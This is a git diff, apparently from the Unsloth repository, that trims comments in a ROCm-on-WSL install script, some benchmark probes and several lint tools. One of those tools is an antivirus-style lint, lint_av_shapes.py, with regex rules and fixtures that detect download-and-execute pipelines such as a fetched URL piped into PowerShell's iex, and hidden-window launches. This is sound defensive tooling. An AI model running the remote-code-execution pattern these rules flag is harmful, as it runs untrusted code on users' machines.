if ! powershell.exe -NoProfile -Command "if (Get-Command winget -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }" >/dev/null 2>&1; then
note "winget not available on the Windows host -- cannot auto-install the Windows SDK."
@@ -106,13 +69,11 @@ _install_windows_sdk_via_winget() {
say "Installing the Windows 11 SDK on the Windows host via winget"
note "librocdxg needs its headers. Approve the UAC prompt on the Windows desktop."
note "One-time (~1-3 GB download); opt out with UNSLOTH_SKIP_WIN_SDK_INSTALL=1."
- # Newest SDK first, then a fallback. Header presence is the source of truth
- # (re-check each attempt), not winget's exit code. </dev/null so winget never
- # consumes a piped `curl | sh` stdin.
+ # Header presence is the source of truth, not winget's exit code.
+ # </dev/null so winget never consumes the stdin of a piped install.
for _sdk_id in Microsoft.WindowsSDK.10.0.26100 Microsoft.WindowsSDK.10.0.22621; do
note "winget install ${_sdk_id} ..."
- # --source winget: pin the community source so a broken default msstore
- # source (the cert failure this PR fixes) can't abort SDK resolution.
+ # Pin the winget source so a broken msstore source cannot abort resolution.
powershell.exe -NoProfile -Command "winget install --id ${_sdk_id} -e --source winget --accept-source-agreements --accept-package-agreements --disable-interactivity" </dev/null || true
if [ -n "$(_find_win_sdk)" ]; then
note "Windows SDK headers present after install."
@@ -136,22 +97,18 @@ if [ ! -e /dev/dxg ]; then
die "/dev/dxg missing -- WSL GPU paravirtualization not present. Ensure this is WSL2 (not WSL1) on a recent Windows build, and that an AMD GPU + ROCDXG-capable Adrenalin driver is installed on the Windows host (then reboot)."
fi
note "Ubuntu 24.04 + /dev/dxg present."
-# Don't block on hsa/rocm libs in /usr/lib/wsl/lib: a working ROCDXG setup
-# doesn't need them (only d3d12/dxcore). Real readiness is checked via rocminfo.
+# A working ROCDXG setup does not need hsa/rocm libs in /usr/lib/wsl/lib; rocminfo is the check.
# ── Step 1: build/runtime prerequisites ──────────────────────────────────────
say "Installing build prerequisites"
export DEBIAN_FRONTEND=noninteractive
$SUDO apt-get update -y
-# `make` is explicit: cmake shells out to it but Ubuntu only *recommends* it, so
-# minimal images lack it and the librocdxg `make -j` build would fail.
+# Ubuntu only recommends make, so minimal images lack it.
$SUDO apt-get install -y cmake make gcc g++ git wget gpg ca-certificates python3-venv python3-pip
# ── Step 2: ROCm ${ROCM_VER} userspace (no DKMS -- WSL uses the Windows driver) ─
say "Installing ROCm ${ROCM_VER} userspace"
if ! command -v rocminfo >/dev/null 2>&1 && [ ! -x /opt/rocm/bin/rocminfo ]; then
- # Direct apt-repo install (leaner than amdgpu-install; repo is indexed by
- # ROCm version, e.g. .../apt/7.2.1).
$SUDO mkdir -p /etc/apt/keyrings
wget -qO- https://repo.radeon.com/rocm/rocm.gpg.key \
| gpg --dearmor | $SUDO tee /etc/apt/keyrings/rocm.gpg >/dev/null
@@ -160,23 +117,16 @@ if ! command -v rocminfo >/dev/null 2>&1 && [ ! -x /opt/rocm/bin/rocminfo ]; the
printf 'Package: *\nPin: release o=repo.radeon.com\nPin-Priority: 600\n' \
| $SUDO tee /etc/apt/preferences.d/rocm-pin-600 >/dev/null
$SUDO apt-get update -y
- # rocm-libs pulls everything torch links at runtime (rocblas, hipblas,
- # miopen-hip, rccl, ...); hsa-rocr + rocminfo come as deps. Large (~5 GB
- # download / ~23 GB installed).
+ # Large: about 5 GB download, 23 GB installed.
$SUDO apt-get install -y rocm-libs rocminfo hip-runtime-amd
else
note "ROCm already present -- skipping apt install."
fi
-# Resolve the real ROCm dir and ensure the canonical /opt/rocm symlink. apt lays
-# ROCm under /opt/rocm-<ver> and rocm-core symlinks /opt/rocm -> that; repair if
-# an earlier partial run left /opt/rocm as a real dir blocking the symlink.
_real="$(ls -d /opt/rocm-* 2>/dev/null | sort -V | tail -1 || true)"
if [ -n "$_real" ] && [ ! -L /opt/rocm ] && [ -d /opt/rocm ]; then
- # /opt/rocm is a real dir blocking the symlink. Only treat it as a removable
- # stray stub if it's NOT a real ROCm install (a real one has bin/rocminfo /
- # bin/hipcc / .info/version) -- this protects a user's pre-existing ROCm. Even
- # then we MOVE IT ASIDE, never rm -rf, so a wrong guess can't lose data.
+ # Treat /opt/rocm as a stray stub only if it is not a real ROCm install, and then move
+ # it aside, never rm.
if [ -e /opt/rocm/bin/rocminfo ] || [ -e /opt/rocm/bin/hipcc ] || [ -e /opt/rocm/.info/version ]; then
note "/opt/rocm is a real ROCm install -- leaving it untouched (will install librocdxg into it)."
else
@@ -197,9 +147,6 @@ say "Building librocdxg (${LIBROCDXG_REF})"
if [ -e "${ROCM_DIR}/lib/librocdxg.so" ]; then
note "librocdxg already installed -- skipping build."
else
- # Discover the newest installed Win11 SDK (version differs per machine). If
- # absent, auto-install via winget (one UAC prompt) and re-discover; only if
- # that ALSO fails do we stop with manual instructions.
_win_sdk="$(_find_win_sdk)"
if [ -z "$_win_sdk" ]; then
note "Windows 11 SDK headers not found -- attempting automatic install..."
@@ -210,8 +157,7 @@ else
note "Windows SDK: ${_win_sdk}"
_src="${HOME}/.unsloth/librocdxg"
rm -rf "$_src"
- # --branch takes a branch/tag, never a commit, so a 40 char ref goes straight to the
- # full clone (librocdxg is ~29 MB, about a second) and is reached by checkout below.
+ # --branch cannot take a commit, so a 40-char ref does a full clone and checks it out.
if [ "${#LIBROCDXG_REF}" = "40" ]; then
git clone "https://github.com/ROCm/librocdxg.git" "$_src"
else
@@ -222,14 +168,11 @@ else
cd "$_src"
_co_failed=0
git checkout "$LIBROCDXG_REF" 2>/dev/null || _co_failed=1
- # A failed checkout leaves the default branch in place. With a SHA the check below
- # catches that; without one (a deliberate ref-only override) nothing else would, and
- # building whatever HEAD happens to be is not what was asked for.
+ # A failed checkout leaves the default branch; without a SHA nothing else would catch that.
if [ "$_co_failed" = "1" ] && [ -z "$LIBROCDXG_SHA" ]; then
die "could not check out librocdxg ref '${LIBROCDXG_REF}'. Refusing to build the repository's default branch instead."
fi
- # Verify the pin BEFORE cmake/make/`sudo make install` run anything from this
- # tree: a moved tag or a mirror serving something else stops here.
+ # Verify the pin before cmake or `sudo make install` run anything from this tree.
if [ -n "$LIBROCDXG_SHA" ]; then
_got_sha="$(git rev-parse HEAD 2>/dev/null || true)"
[ "$_got_sha" = "$LIBROCDXG_SHA" ] || die "librocdxg ${LIBROCDXG_REF} resolved to ${_got_sha:-unknown}, expected ${LIBROCDXG_SHA}. Refusing to build and install unverified source as root. Set UNSLOTH_LIBROCDXG_REF (and optionally UNSLOTH_LIBROCDXG_SHA) to build a different revision on purpose."
@@ -240,10 +183,9 @@ else
$SUDO make install
)
fi
-# Ensure soname symlinks resolve to whatever version was built (e.g. 1.2.0).
_dxg_real="$(ls -1 "${ROCM_DIR}"/lib/librocdxg.so.*.* 2>/dev/null | sort -V | tail -1 || true)"
if [ -n "$_dxg_real" ]; then
- _dxg_base="$(basename "$_dxg_real")" # librocdxg.so.1.2.0
+ _dxg_base="$(basename "$_dxg_real")"
_dxg_major="$(printf '%s' "$_dxg_base" | sed -E 's/librocdxg\.so\.([0-9]+).*/\1/')"
$SUDO ln -sf "$_dxg_base" "${ROCM_DIR}/lib/librocdxg.so.${_dxg_major}"
$SUDO ln -sf "librocdxg.so.${_dxg_major}" "${ROCM_DIR}/lib/librocdxg.so"
@@ -270,39 +212,32 @@ fi
if [ -n "${HOME:-}" ] && ! grep -q "Unsloth ROCm-on-WSL" "${HOME}/.bashrc" 2>/dev/null; then
cat "$_envfile" >> "${HOME}/.bashrc"
fi
-# export into the current process so verification below works immediately
export HSA_ENABLE_DXG_DETECTION=1
export PATH="${ROCM_DIR}/bin:${PATH}"
export LD_LIBRARY_PATH="${ROCM_DIR}/lib${LD_LIBRARY_PATH:+:${LD_LIBRARY_PATH}}"
# ── Step 5: verify the runtime enumerates the GPU ────────────────────────────
say "Verifying rocminfo enumerates the GPU over DXG"
-# Capture rocminfo into a var BEFORE grepping: piping into `grep -q` SIGPIPEs
-# rocminfo on first match, which under `set -o pipefail` turns a successful match
-# into a pipeline failure.
+# Capture first: `grep -q` SIGPIPEs rocminfo, which pipefail reports as a failure.
_rocminfo_out="$(rocminfo 2>/dev/null || true)"
-# GPU agents advertise an ISA "Name: gfxNNNN". Match gfx[1-9] (excludes gfx000, the CPU
-# agent), drop the "gfx*-generic" fallback ISA, and take the first real GPU arch.
+# gfx[1-9] skips the gfx000 CPU agent; drop the generic fallback ISA.
_detected_gfx="$(printf '%s\n' "$_rocminfo_out" | grep -E 'Name:[[:space:]]*gfx[1-9]' | grep -v 'generic' | grep -oE 'gfx[1-9][0-9a-z]*' | head -1 || true)"
if [ -z "$_detected_gfx" ]; then
printf '%s\n' "$_rocminfo_out" | head -25 >&2 || true
die "rocminfo did not enumerate any GPU agent. Most common cause: the Windows AMD driver predates production ROCDXG -- update Adrenalin (install.ps1 offers this), reboot, and re-run."
fi
-# Honour a caller-pinned arch (sanity-check via a consuming grep, not grep -q: under
-# pipefail -q would SIGPIPE printf on large output and misreport the arch); else adopt.
+# Consuming grep, not -q: under pipefail -q would SIGPIPE printf and misreport the arch.
if [ -n "$GFX" ] && ! printf '%s\n' "$_rocminfo_out" | grep -E "Name:[[:space:]]*${GFX}([^0-9]|$)" >/dev/null; then
die "rocminfo enumerated '${_detected_gfx}' but not the requested UNSLOTH_WSL_GFX='${GFX}'."
fi
GFX="${GFX:-$_detected_gfx}"
-# Display-only summary: best-effort (|| true) so head's early pipe-close under
-# `set -o pipefail` can't fail the bootstrap after verification already passed.
+# Best effort: head's early pipe close must not fail the run under pipefail.
printf '%s\n' "$_rocminfo_out" | grep -E 'Marketing Name|Device Type|Compute Unit' | grep -iE "Radeon|GPU|Compute" | head -3 || true
note "ROCm-on-WSL runtime is live for ${GFX}."
# ── Step 6 (optional): torch smoke test from AMD's per-arch wheel index ───────
if [ "$SMOKE_TEST" = "1" ]; then
say "Smoke-testing PyTorch on ${GFX} (throwaway venv)"
- # Map the detected arch to AMD's repo.amd.com wheel family index.
case "$GFX" in
gfx1200|gfx1201) _fam="gfx120X-all" ;;
gfx1100|gfx1101|gfx1102|gfx1103) _fam="gfx110X-all" ;;
@@ -312,12 +247,11 @@ if [ "$SMOKE_TEST" = "1" ]; then
_venv="${HOME}/.unsloth/rocm-smoketest"
rm -rf "$_venv"; python3 -m venv "$_venv"
"$_venv/bin/pip" install --quiet --upgrade pip
- # AMD arch index is primary (torch + triton); PyPI only an extra for pure-py
- # deps. The constraint keeps pip on the ROCm wheel, not a newer PyPI CUDA torch.
+ # The constraint keeps pip on the ROCm wheel rather than a newer PyPI CUDA torch.
"$_venv/bin/pip" install --index-url "$TORCH_INDEX" \
--extra-index-url https://pypi.org/simple "$TORCH_CONSTRAINT" || \
die "torch install from ${TORCH_INDEX} failed."
- # WSL: torch's bundled ROCr must load the DXG bridge -- drop librocdxg into torch/lib.
+ # torch's bundled ROCr must load the DXG bridge, so copy librocdxg into torch/lib.
_tlib="$("$_venv/bin/python" -c 'import torch,os;print(os.path.join(os.path.dirname(torch.__file__),"lib"))' 2>/dev/null || true)"
[ -d "$_tlib" ] && cp -f "${ROCM_DIR}"/lib/librocdxg.so* "$_tlib"/ 2>/dev/null || true
"$_venv/bin/python" - <<'PY'
diff --git a/scripts/int8_linear_probe.py b/scripts/int8_linear_probe.py
index 10ec1546b0f..1b55f2ee793 100644
--- a/scripts/int8_linear_probe.py
+++ b/scripts/int8_linear_probe.py
@@ -61,7 +61,6 @@ def main() -> int:
tag.append("NAME")
if tag:
sus.append((n, m.in_features, m.out_features, ",".join(tag)))
- # distinct fqn shapes, block indices collapsed to {i}
import re
seen = {}
diff --git a/scripts/leverage_probe.py b/scripts/leverage_probe.py
index 756fe25e340..809e8ffac1b 100644
--- a/scripts/leverage_probe.py
+++ b/scripts/leverage_probe.py
@@ -89,7 +89,6 @@ def main(argv = None) -> int:
cdt = False,
fbc = None,
):
- # reset inductor config between runs
import torch._inductor.config as ic
ic.coordinate_descent_tuning = False
@@ -100,9 +99,9 @@ def main(argv = None) -> int:
apply_first_block_cache(pipe.transformer, FirstBlockCacheConfig(threshold = fbc))
if compile:
compile_blocks(pipe, cdt = cdt)
- _gen(pipe, steps, seed, res) # warmup / compilation
+ _gen(pipe, steps, seed, res)
else:
- _gen(pipe, steps, seed, res) # allocator warmup
+ _gen(pipe, steps, seed, res)
img, dt = _gen(pipe, steps, seed, res)
del pipe
torch.cuda.empty_cache()
diff --git a/scripts/lint_av_shapes.py b/scripts/lint_av_shapes.py
index 9d560a04016..dd7dd6a45e1 100644
--- a/scripts/lint_av_shapes.py
+++ b/scripts/lint_av_shapes.py
@@ -260,7 +260,6 @@ def _check_hidden_bypass(path, lines, text):
hidden_array = re.compile(r"(?i)['\"]-WindowStyle['\"]\s*,\s*['\"]Hidden['\"]")
def joined(i: int) -> str:
- # An argv list formatted one element per line: `"-WindowStyle",` then `"Hidden",`.
return " ".join(x.strip().strip(",").strip("'\"") for x in _window(lines, i, 3, 3))
out = []
@@ -336,7 +335,6 @@ def _check_system_copy(path, lines, text):
)
if not is_copy:
continue
- # The source may sit on the lines after a call split across several.
near = [x for x in _window(lines, i, 12, 3) if not _is_comment(x)]
if any(sysdir.search(x) for x in near):
out.append((i + 1, "error"))
@@ -395,8 +393,7 @@ def _check_non_pe_exe(path, lines, text):
return out
-# Our own documented one-liner is printed and quoted all over the repository; it is the user's
-# command to run, not something these files execute. Anything else piped into the engine is flagged.
+# Our own documented one-liner is quoted all over the repo; anything else piped in is flagged.
_FIRST_PARTY = re.compile(
r"(?i)https?://(?:(?:www\.)?unsloth\.ai|raw\.githubusercontent\.com/unslothai|github\.com/unslothai)/"
)
@@ -410,7 +407,6 @@ def _inside_literal(line: str, position: int) -> bool:
def _check_remote_exec(path, lines, text):
piped = re.compile(r"(?i)(https?://[^\s|'\"`]+|\)|\$[\w:]+)['\"]?\s*(\|)\s*" + _IEX + r"\b")
wrapped = re.compile(r"(?i)\b" + _IEX + r"\s*\(+\s*" + _DOWNLOADERS)
- # `irm <url> -UseBasicParsing | iex`: options between the download and the pipe.
fetched = re.compile(
r"(?i)\b"
+ _DOWNLOADERS
@@ -420,8 +416,7 @@ def _check_remote_exec(path, lines, text):
)
out = []
for i, line in enumerate(lines):
- # Only our own one-liner is excused, and only where it is text: a comment, or a
- # string that prints or quotes it. Executed, it is the same shape as anyone else's.
+ # Only excused where it is text (a comment or a printed string); executed, it is flagged.
quoted_doc = _is_comment(line)
hit = False
for match in piped.finditer(line):
@@ -671,9 +666,9 @@ RULES = [
"use the interpreter's own module entry point (python3 -m zipfile -e ARCHIVE DIR), unzip or tar",
applies = lambda p: not p.endswith((".py", ".rs", ".js", ".mjs", ".cjs", ".ts", ".tsx")),
needles = tuple(_J(p) for p in (("ext", "ract"), ("unpack_", "archive"))),
- # Options may take an argument (-W ignore) or be combined with the command flag (-Ic). The
- # call has to sit inside the quoted program (escaped quotes included, not a later command or
- # comment) after an archive name, so an HTML node's .extract() is not an archive.
+ # Options may take an argument (-W ignore) or combine with the command flag (-Ic). The call must
+ # sit inside the quoted program (escaped quotes included, not a later command or comment) after
+ # an archive name, so an HTML node's .extract() is not an archive.
line_patterns = [
r"(?i)\b(?:python[0-9.]*|py|node|perl|ruby)(?:\.exe)?"
r"(?:\s+--?[\w-]+(?:\s+[^\s'\"-][^\s'\"]*)?)*?\s+-[a-z]*[ce]\s*(['\"])(?:\\.|(?!\1)[^\n])*?"
@@ -687,7 +682,7 @@ RULES = [
),
]
RULES_BY_ID = {rule.id: rule for rule in RULES}
-# PowerShell resolves commands, members and parameters in any case, and so do Windows paths.
+# PowerShell commands, members, parameters and Windows paths are case-insensitive.
_COMPILED = {rule.id: [re.compile(p, re.I) for p in rule.line_patterns] for rule in RULES}
@@ -739,7 +734,7 @@ def _in_scope(relative: str) -> bool:
return False
if EXCLUDED_PARTS & set(relative.split("/")[:-1]) or relative.startswith(EXCLUDED_PREFIXES):
return False
- # This gate and its test describe every shape by construction.
+ # This gate and its test contain every shape by construction.
return relative not in ("scripts/lint_av_shapes.py", "tests/security/test_lint_av_shapes.py")
@@ -769,7 +764,6 @@ def collect(paths: list[str] | None) -> list[Finding]:
for given in paths:
path = Path(given) if Path(given).is_absolute() else Path.cwd() / given
if not path.is_file():
- # A named file that is missing means less was checked than was asked for.
raise SystemExit(f"{given}: does not exist, so nothing was checked")
try:
relative = path.resolve().relative_to(REPO_ROOT).as_posix()
@@ -778,7 +772,6 @@ def collect(paths: list[str] | None) -> list[Finding]:
found.extend(scan_text(relative, _read(path)))
return found
candidates = [f for f in _tracked_files() if _in_scope(f)]
- # About 6000 files and 115 MB: one process per core keeps the whole-repo run to a few seconds.
from concurrent.futures import ProcessPoolExecutor
with ProcessPoolExecutor() as pool:
@@ -843,7 +836,6 @@ def main() -> int:
if arguments.self_test:
return self_test()
if arguments.update and arguments.paths:
- # The baseline covers the whole repository; rebuilding it from a few files would drop the rest.
print("--update rewrites the whole baseline and cannot be combined with --paths")
return 2
@@ -876,7 +868,6 @@ def main() -> int:
if severities.get((file, rule, digest)) == "error":
group["severity"] = "error"
for group in groups.values():
- # Only an error group has to be justified; a warning never fails the build.
if group["severity"] == "warn" and group["reason"] == "REVIEW ME":
group["reason"] = "pre-existing warning"
document["groups"] = list(groups.values())
@@ -935,7 +926,6 @@ def main() -> int:
k for k in allowed if (k[0], k[1]) in error_groups and observed.get(k, 0) < allowed[k]
)
if stale:
- # An entry that outlives its line would quietly re-permit whatever lands on that digest next.
print(
f"{len(stale)} baseline entr(y/ies) allow more than the code still has. Run --update:"
)
@@ -1088,7 +1078,6 @@ def _fixtures() -> list[tuple[str, str, str, bool]]:
+ '"',
False,
),
- # Options before the command flag, with an argument or combined with it.
(
"AV016",
"t.sh",
@@ -1133,7 +1122,6 @@ def _fixtures() -> list[tuple[str, str, str, bool]]:
+ "()'",
False,
),
- # Reading or checking an archive unpacks nothing.
(
"AV016",
"t.sh",
@@ -1160,7 +1148,6 @@ def _fixtures() -> list[tuple[str, str, str, bool]]:
"zipfile." + _J(("Zip", "File")) + "(path)." + _J(("extract", "all")) + "(dest)",
False,
),
- # Spellings PowerShell accepts that a first cut of these rules missed.
(
"AV002",
"t.ps1",
@@ -1304,7 +1291,6 @@ def _fixtures() -> list[tuple[str, str, str, bool]]:
+ "'\nrequests.post(u)\n",
True,
),
- # Suppression is honoured outside the shipped installers and ignored inside them.
(
"AV015",
"t.ps1",
diff --git a/scripts/lint_backend_python_floor.py b/scripts/lint_backend_python_floor.py
index db072f7ac58..71a56224294 100644
--- a/scripts/lint_backend_python_floor.py
+++ b/scripts/lint_backend_python_floor.py
@@ -25,20 +25,20 @@ from pathlib import Path
REPO = Path(__file__).resolve().parents[1]
WORKFLOW = REPO / ".github" / "workflows" / "studio-backend-ci.yml"
-# Both trees the matrix legs actually execute. studio-backend-ci lists 'unsloth_cli/**' in its own paths filter and runs `pytest unsloth_cli/tests` on every leg, so a post-floor stdlib name on a shipped CLI path was covered by the old 3.10 leg exactly as a backend one was; scanning only the backend would have moved that coverage to the push to main while looking like it had replaced it.
+# Both trees the CI matrix legs execute: studio-backend-ci also runs `pytest unsloth_cli/tests`.
ROOTS = (
REPO / "studio" / "backend",
REPO / "unsloth_cli",
)
-# Everything shipped under studio/backend is scanned. The first version listed the packages instead, which is exactly the wrong shape for a floor check: it named core, utils and routes and silently missed 116 files, including all of hub, plugins, models, storage, auth, picker and state, plus _platform_compat.py which main.py imports directly, and it named "loggers.py", a directory, so that entry matched nothing. studio-backend-ci runs `pytest tests/` from studio/backend on every leg, so a 3.11 API in a test file is executed by the 3.10 leg exactly as one in a shipped module is, and with the pull request down to a single 3.13 leg that leg and this lint would both pass while the failure arrived on the push to main.
+# Scan everything under studio/backend, tests included: the CI legs execute all of it.
EXCLUDE_PARTS = ("vendor", "node_modules", "__pycache__", ".venv")
# An above-floor symbol reached deliberately is suppressed AT THE SITE, with `# novermin` and a comment saying why, not by dropping its file from the scan. The one live case is locale.getencoding() in the data-designer plugin's state_store, inside a try/except AttributeError with a pre-3.11 fallback.
-# The floor is DECLARED, in the workflow, next to where the legs used to be. Deriving it from the matrix became self-defeating once the matrix ran one interpreter: a 3.13-only matrix would move the floor to 3.13 and leave this asserting that code written for 3.13 runs on 3.13. pyproject.toml is not the answer either, because it says >= 3.9 and that is not true today: unsloth/models/_utils.py already uses tempfile.TemporaryDirectory(ignore_cleanup_errors), which is 3.10.
+# Floor is declared in the workflow; the matrix and pyproject (>= 3.9) cannot supply the real floor.
FLOOR_KEY = "PYTHON_FLOOR"
@@ -74,7 +74,7 @@ def targets() -> list[str]:
def main() -> int:
floor = declared_floor()
target = f"{floor[0]}.{floor[1]}"
- # The console script, not `python -m vermin`: the package has no __main__, so that form exits nonzero for the wrong reason and this lint would fail on every run while looking like it had found something.
+ # The console script: vermin has no __main__, so `python -m vermin` always fails.
vermin = shutil.which("vermin")
if vermin is None:
raise SystemExit(
diff --git a/scripts/lint_duplicate_definitions.py b/scripts/lint_duplicate_definitions.py
index e0f388b9aba..5e9bf13849c 100644
--- a/scripts/lint_duplicate_definitions.py
+++ b/scripts/lint_duplicate_definitions.py
@@ -125,7 +125,6 @@ def _overload_names_in(body, base) -> set:
visit(getattr(node, field, []) or [])
for handler in getattr(node, "handlers", []) or []:
visit(handler.body)
- # Same blind spot as _branch_bodies, mirrored: an alias bound inside a match case would go unseen and its @t.overload defs would read as a duplicate.
for case in getattr(node, "cases", []) or []:
visit(case.body)
@@ -144,7 +143,7 @@ def _branch_bodies(node):
for handler in getattr(node, "handlers", []) or []:
if handler.body:
yield handler.body
- # A match keeps its branches in `cases[*].body`, so the loop above walked straight past them and two copies of one def inside a SINGLE case scanned clean.
+ # match keeps branches in cases[*].body, which the loop above does not walk.
for case in getattr(node, "cases", []) or []:
if case.body:
yield case.body
@@ -187,19 +186,18 @@ def _defined_names(node, overloads):
return [(node.name, "def")]
if isinstance(node, ast.ClassDef):
return [(node.name, "class")]
- # `X: int = 1` is an AnnAssign, not an Assign, and a typed module-level constant is common in this repo (MAX_FUSED_SIZE: int = 65536). EVERY target, not a lone one: a chained `N = K = 256` (which this repo writes, in tests/test_grouped_gemm_optional_gather_indices.py) parks two names in one statement, and requiring exactly one target dropped both, so duplicating the line rebound both while the scan reported clean.
+ # Handle AnnAssign and every target of a chained `N = K = 256`.
if isinstance(node, ast.Assign):
targets, value = node.targets, node.value
elif isinstance(node, ast.AnnAssign) and node.value is not None:
targets, value = [node.target], node.value
else:
return []
- # `X = frozenset(X)` / `X = X + (...)` transforms a constant rather than redefining it. Only a value computed WITHOUT the old one replaces it, decided per name so that `A, B = B, A` exempts both while `A, B = 1, 2` exempts neither.
+ # `X = frozenset(X)` transforms rather than redefines; decided per name for tuple targets.
referenced = {sub.id for sub in ast.walk(value) if isinstance(sub, ast.Name)}
names = []
for target in targets:
for name in _constant_targets(target):
- # One statement binding a name twice (`X = X = 1`) still binds it once, so it is not the two-copies damage this looks for.
if name not in referenced and name not in names:
names.append(name)
return [(name, "constant") for name in names]
@@ -223,7 +221,8 @@ def _scope_duplicates(body, scope, out, overloads, module_overloads) -> None:
else:
seen[name] = (node.lineno, kind)
if isinstance(node, ast.ClassDef):
- # The class gets the MODULE's aliases plus any it binds itself, never the enclosing class's. "The scope of names defined in a class block is limited to the class block", and a class body resolves an unbound name in the GLOBAL namespace, so a nested class does not see `import typing as t` from the class around it. Passing the outer set down exempted `@t.overload` in the inner class where `t` is whatever the MODULE bound it to, and two copies of one def scanned clean; widening the exemption is the one direction that hides merge damage.
+ # A class body resolves unbound names in the module namespace, so it gets the module's aliases,
+ # never the enclosing class's.
_scope_duplicates(
node.body,
f"{scope}{node.name}.",
@@ -232,7 +231,6 @@ def _scope_duplicates(body, scope, out, overloads, module_overloads) -> None:
module_overloads,
)
for nested in _branch_bodies(node):
- # A control-flow branch is not a scope, so it keeps the aliases of the body it sits in; only a class body starts over.
_scope_duplicates(nested, scope, out, overloads, module_overloads)
@@ -242,26 +240,25 @@ def _import_duplicates(body, scope, out) -> None:
seen_explicit: dict = {} # bound name -> line; a name the author wrote after `as`
for node in body:
if isinstance(node, ast.ImportFrom):
- # `level` carries the leading dots, so `from .a` and `from ..a` stay distinct.
module = f"{'.' * node.level}{node.module or ''}"
elif isinstance(node, ast.Import):
module = None # the source is per-alias for a plain import, not per-statement
else:
- # Class bodies are scanned too: two `from m import x` inside one class bind x twice in that scope exactly as they would at module level.
if isinstance(node, ast.ClassDef):
_import_duplicates(node.body, f"{scope}{node.name}.", out)
- # Each control-flow branch on its own: `try: import x / except: import x` is the fallback idiom and stays clean, while two of the same import INSIDE one branch is the ordinary duplicate this looks for and used to be skipped with the branch.
+ # Each branch on its own: try/except fallback imports stay clean.
for nested in _branch_bodies(node):
_import_duplicates(nested, scope, out)
continue
for alias in node.names:
if alias.name == "*":
continue
- # `import a.b` binds `a`, not `a.b`; only an `as` clause binds the dotted name. Using `alias.asname` raw here instead missed `import urllib.parse` followed by `import urllib.parse as urllib`, which silently repoints `urllib` from the package to the submodule.
+ # `import a.b` binds `a`; only an `as` clause binds the dotted name.
source = module if module is not None else alias.name
bound = alias.asname or (alias.name if module is not None else alias.name.split(".")[0])
implicit = alias.asname is None
- # EVERY IMPLICIT SOURCE IS REMEMBERED, not just the first: keeping one entry per bound name and skipping the legitimate different-source case left `seen` pointing at the first source forever, so in `from a import x` / `from b import x` / `from b import x` the third was compared with `a`, looked like the legitimate shape again, and the exact repeat of `b` went unreported. So an implicit binding collides with the SAME source, and an explicit one, a name the author chose, collides with any earlier binding of that name at all.
+ # Remember every implicit source: an implicit binding collides with the same source, an explicit
+ # one with any earlier binding of that name.
first = seen_explicit.get(bound)
if implicit:
first = seen_implicit.get((bound, source), first)
@@ -279,7 +276,7 @@ def _import_duplicates(body, scope, out) -> None:
out.append(
Finding(
node.lineno,
- # The emitted identity must mirror the detection key. Keyed on the bound name alone, two DIFFERENT plain-import duplicates both read as `import:None:x`, so compare mode charged a newly introduced one against a pre-existing counter entry and passed. DELIMITED, because `scope` ends in a dot and `source` may contain them: a module-level `from A.m import x` and a `from m import x` inside `class A` both spelled `import:A.m:x`, so compare mode let a branch swap one for the other and charged the new one to the old.
+ # Identity must mirror the detection key; delimited because scope and source both contain dots.
f"import:{scope}|{source}:{bound}",
f"{scope}{bound} is imported {where}",
)
@@ -330,7 +327,7 @@ def _revision_findings(revision: str, path: str):
def _rename_map(before: str, after: str):
"""{new path: old path} for the renames in this range. The changed-file sweep reports a renamed file under its NEW name, so looking the before side up under that name finds nothing and every finding in it reads as introduced, which would block a branch that only moves a file carrying one of the duplicates already on main."""
- # -z, because git quotes and backslash-escapes any non-ASCII path by default (core.quotePath), and the escaped spelling matches nothing. Under -z each rename is three NUL-terminated records, "R100", old, new: the status is its own field rather than tab-joined to the paths.
+ # -z: git quotes non-ASCII paths otherwise. Each rename is three NUL records: status, old, new.
listed = _git(["diff", "--name-status", "-z", "-M", "--diff-filter=R", before, after])
if listed.returncode != 0:
return {}
@@ -365,15 +362,12 @@ _SELF_TEST_CASES = [
(1, "class A:\n pass\n\n\nclass A:\n pass\n"),
(1, "class A:\n def go(self):\n pass\n\n def go(self):\n pass\n"),
(1, "from a import x\nfrom a import x\n"),
- # 6. A stray paren inside a comment must not truncate the scan (the regex version did).
(1, "def go(): # takes (a, b\n pass\n\n\ndef go():\n pass\n"),
(1, "<<<<<<< HEAD\ndef go():\n pass\n"),
(1, "MAX_FUSED_SIZE: int = 65536\nMAX_FUSED_SIZE: int = 131072\n"),
(1, "REGISTRY: dict = {}\nOTHER = 1\nREGISTRY = {'a': 1}\n"),
- # Two aliases from one module landing on the same bound name: the second wins and the first is dead, which is the silent half of this bug.
(1, "from m import x as value\nfrom m import y as value\n"),
(1, "from m import x as value, y as value\n"),
- # A class body is a scope too, for imports as well as for defs.
(1, "class A:\n from m import x\n from m import x\n"),
(
1,
@@ -386,11 +380,9 @@ _SELF_TEST_CASES = [
" def v(self):\n return 1\n\n @functools.cached_property\n"
" def v(self):\n return 2\n",
),
- # Constants declared together in one tuple target: duplicating the line rebinds every one of them, so each is its own finding.
(4, "B, H, N, D = 1, 16, 50345, 128\nB, H, N, D = 2, 3, 4, 5\n"),
- # A plain import binds the ROOT of its dotted path, so this repoints `urllib` from the package to the submodule and the first binding is dead.
(1, "import urllib.parse\nimport urllib.parse as urllib\n"),
- # Negative controls: each of these is correct code and must report nothing.
+ # Negative controls: correct code that must report nothing.
(0, "if FAST:\n def go():\n pass\nelse:\n def go():\n pass\n"),
(0, "try:\n from fast import x\nexcept ImportError:\n from slow import x\n"),
(
@@ -411,17 +403,13 @@ _SELF_TEST_CASES = [
(0, "REGISTRY: dict\nREGISTRY = {}\n"), # a bare annotation binds nothing
(0, "from m import x\nfrom m import x as other\n"),
(0, "ROWS = (1,)\nROWS = ROWS + (2,)\n"),
- # A tuple self-transform is decided per name, so a swap exempts both sides.
(0, "A = 1\nB = 2\nA, B = B, A\n"),
- # Distinct submodules of one package each bind the package name and are correct.
(0, "import urllib.parse as parse\nimport urllib.request as request\n"),
(0, "value = 1\nvalue = 2\n"),
(0, "import os\nfrom a import b\n\nX = 1\n\n\ndef go():\n return os, b, X\n"),
- # A chained assignment binds every name in the chain, so duplicating the line rebinds every one of them. `N = K = 256` is written in this repo; requiring a single target dropped the whole statement and the duplicate went unreported.
(2, "N = K = 256\nN = K = 512\n"),
(0, "N = K = 256\nM = 512\n"),
(0, "X = X = 1\n"), # one statement, one live binding
- # Overload signatures reached through an import alias are still overloads. Reporting them is a FALSE POSITIVE that blocks CI on a conventional typing pattern.
(
0,
"import typing as t\[email protected]\ndef f(x: int) -> int: ...\n"
@@ -432,35 +420,26 @@ _SELF_TEST_CASES = [
"from typing import overload as ov\n@ov\ndef f(x: int) -> int: ...\n"
